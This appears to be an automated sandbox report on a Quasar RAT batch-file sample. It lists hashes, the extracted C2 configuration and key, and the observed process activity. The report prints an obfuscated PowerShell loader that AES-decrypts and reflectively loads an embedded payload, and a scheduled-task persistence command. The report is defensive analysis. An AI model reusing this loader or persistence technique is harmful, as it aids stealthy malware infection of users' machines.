quasar | f975a314f9f0ac6527acf5098bd0c9ce8800c05b83ce3c5af01c1cb8e3bbbd5b

Analysis

max time kernel
133s
max time network
136s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
24-06-2024 23:07

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General

Target

Uni.bat
Size

253KB
MD5

6116316574a1311a2e768ef21255430d
SHA1

684dec7251dbacf3e3b5a3cac0492df268f7f9a3
SHA256

f975a314f9f0ac6527acf5098bd0c9ce8800c05b83ce3c5af01c1cb8e3bbbd5b
SHA512

daf318e0dde57bf13b2b30bdff1556749caf3ebda2cffd5ead57c2c998aae763214226121f02996d48bcea54d53b9c2c352c21a8638b0d42f36c8f41896be2f2
SSDEEP

3072:PfaskbNKw91ey00VTUsMHdJmMQ5C6QCf8qb/qV3/PJHnigpqoineD/QrM47f9Jms:nef9NVbkd5UzZfYh6n7P7KK2X78EM

Score

10^/10

quasar office04 spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.0.1

Botnet

Office04

wireless-boston.gl.at.ply.gg:41366

Mutex

QSR_MUTEX_W1ckGYHOGswdBegmKd

Attributes

encryption_key
QbY1WN4Surh1trMXzt97
install_name
system.exe
log_directory
Logs
reconnect_delay
3000
startup_key
system
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar payload 1 IoCs

Processes:

resource yara_rule

behavioral1/memory/2952-34-0x000001D8C15C0000-0x000001D8C161E000-memory.dmp family_quasar
Executes dropped EXE 2 IoCs

Processes:

Uni.bat.exesystem.exe

pid process

2952 Uni.bat.exe
4772 system.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com
Drops file in System32 directory 2 IoCs

Processes:

Uni.bat.exe

description ioc process

File created C:\Windows\SysWOW64\SubDir\system.exe Uni.bat.exe
File opened for modification C:\Windows\SysWOW64\SubDir\system.exe Uni.bat.exe
Runs net.exe
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

1616 schtasks.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

Uni.bat.exesystem.exe

pid process

2952 Uni.bat.exe
2952 Uni.bat.exe
2952 Uni.bat.exe
4772 system.exe
4772 system.exe
4772 system.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

Uni.bat.exesystem.exe

description pid process

Token: SeDebugPrivilege 2952 Uni.bat.exe
Token: SeDebugPrivilege 4772 system.exe

resource	yara_rule
behavioral1/memory/2952-34-0x000001D8C15C0000-0x000001D8C161E000-memory.dmp	family_quasar

pid	process
2952	Uni.bat.exe
4772	system.exe

flow	ioc
1	ip-api.com

description	ioc	process
File created	C:\Windows\SysWOW64\SubDir\system.exe	Uni.bat.exe
File opened for modification	C:\Windows\SysWOW64\SubDir\system.exe	Uni.bat.exe

pid	process
1616	schtasks.exe

pid	process
2952	Uni.bat.exe
2952	Uni.bat.exe
2952	Uni.bat.exe
4772	system.exe
4772	system.exe
4772	system.exe

description	pid	process
Token: SeDebugPrivilege	2952	Uni.bat.exe
Token: SeDebugPrivilege	4772	system.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

cmd.exenet.exeUni.bat.exe

description	pid	process	target process
PID 612 wrote to memory of 2892	612	cmd.exe	net.exe
PID 612 wrote to memory of 2892	612	cmd.exe	net.exe
PID 2892 wrote to memory of 2316	2892	net.exe	net1.exe
PID 2892 wrote to memory of 2316	2892	net.exe	net1.exe
PID 612 wrote to memory of 2952	612	cmd.exe	Uni.bat.exe
PID 612 wrote to memory of 2952	612	cmd.exe	Uni.bat.exe
PID 2952 wrote to memory of 1616	2952	Uni.bat.exe	schtasks.exe
PID 2952 wrote to memory of 1616	2952	Uni.bat.exe	schtasks.exe
PID 2952 wrote to memory of 4772	2952	Uni.bat.exe	system.exe
PID 2952 wrote to memory of 4772	2952	Uni.bat.exe	system.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:612

C:\Windows\system32\net.exe
net file
2⤵
- Suspicious use of WriteProcessMemory
PID:2892

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 file
3⤵
PID:2316

C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
"Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $LUjXk = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($pfSAb in $LUjXk) { if ($pfSAb.StartsWith(':: ')) { $ysrPJ = $pfSAb.Substring(3); break; }; };$ydMoK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ysrPJ);$QmOjg = New-Object System.Security.Cryptography.AesManaged;$QmOjg.Mode = [System.Security.Cryptography.CipherMode]::CBC;$QmOjg.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$QmOjg.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8JDdwdCN8f9GIQeixAyEv80OWR2XU9cSTyINtWtC9E=');$QmOjg.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZMxKZ063xFXq46C7vuYyiQ==');$FoDTE = $QmOjg.CreateDecryptor();$ydMoK = $FoDTE.TransformFinalBlock($ydMoK, 0, $ydMoK.Length);$FoDTE.Dispose();$QmOjg.Dispose();$bzYHg = New-Object System.IO.MemoryStream(, $ydMoK);$EACsF = New-Object System.IO.MemoryStream;$cWBZp = New-Object System.IO.Compression.GZipStream($bzYHg, [IO.Compression.CompressionMode]::Decompress);$cWBZp.CopyTo($EACsF);$cWBZp.Dispose();$bzYHg.Dispose();$EACsF.Dispose();$ydMoK = $EACsF.ToArray();$fFqIs = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($ydMoK);$sWumU = $fFqIs.EntryPoint;$sWumU.Invoke($null, (, [string[]] ('')))
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2952

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "system" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe" /rl HIGHEST /f
3⤵
- Scheduled Task/Job: Scheduled Task
PID:1616

C:\Windows\SysWOW64\SubDir\system.exe
"C:\Windows\SysWOW64\SubDir\system.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4772

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads

C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
Filesize
435KB

MD5
f7722b62b4014e0c50adfa9d60cafa1c

SHA1
f31c17e0453f27be85730e316840f11522ddec3e

SHA256
ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa

SHA512
7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sh1eofh1.l0q.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/2952-34-0x000001D8C15C0000-0x000001D8C161E000-memory.dmp

Filesize
376KB

Download
memory/2952-35-0x00007FFA76480000-0x00007FFA76E6C000-memory.dmp

Filesize
9.9MB

Download
memory/2952-16-0x00007FFA76480000-0x00007FFA76E6C000-memory.dmp

Filesize
9.9MB

Download
memory/2952-15-0x000001D8C1540000-0x000001D8C15B6000-memory.dmp

Filesize
472KB

Download
memory/2952-9-0x000001D8A9340000-0x000001D8A9362000-memory.dmp

Filesize
136KB

Download
memory/2952-32-0x000001D8C14C0000-0x000001D8C14F4000-memory.dmp

Filesize
208KB

Download
memory/2952-7-0x00007FFA76483000-0x00007FFA76484000-memory.dmp

Filesize
4KB

Download
memory/2952-14-0x00007FFA76480000-0x00007FFA76E6C000-memory.dmp

Filesize
9.9MB

Download
memory/2952-36-0x000001D8C1640000-0x000001D8C1652000-memory.dmp

Filesize
72KB

Download
memory/2952-37-0x000001D8C2E20000-0x000001D8C2E5E000-memory.dmp

Filesize
248KB

Download
memory/2952-94-0x00007FFA76480000-0x00007FFA76E6C000-memory.dmp

Filesize
9.9MB

Download
memory/4772-50-0x00007FFA76480000-0x00007FFA76E6C000-memory.dmp

Filesize
9.9MB

Download
memory/4772-77-0x0000019DD5140000-0x0000019DD517C000-memory.dmp

Filesize
240KB

Download
memory/4772-49-0x00007FFA76480000-0x00007FFA76E6C000-memory.dmp

Filesize
9.9MB

Download
memory/4772-96-0x00007FFA76480000-0x00007FFA76E6C000-memory.dmp

Filesize
9.9MB

Download
memory/4772-97-0x00007FFA76480000-0x00007FFA76E6C000-memory.dmp

Filesize
9.9MB

Download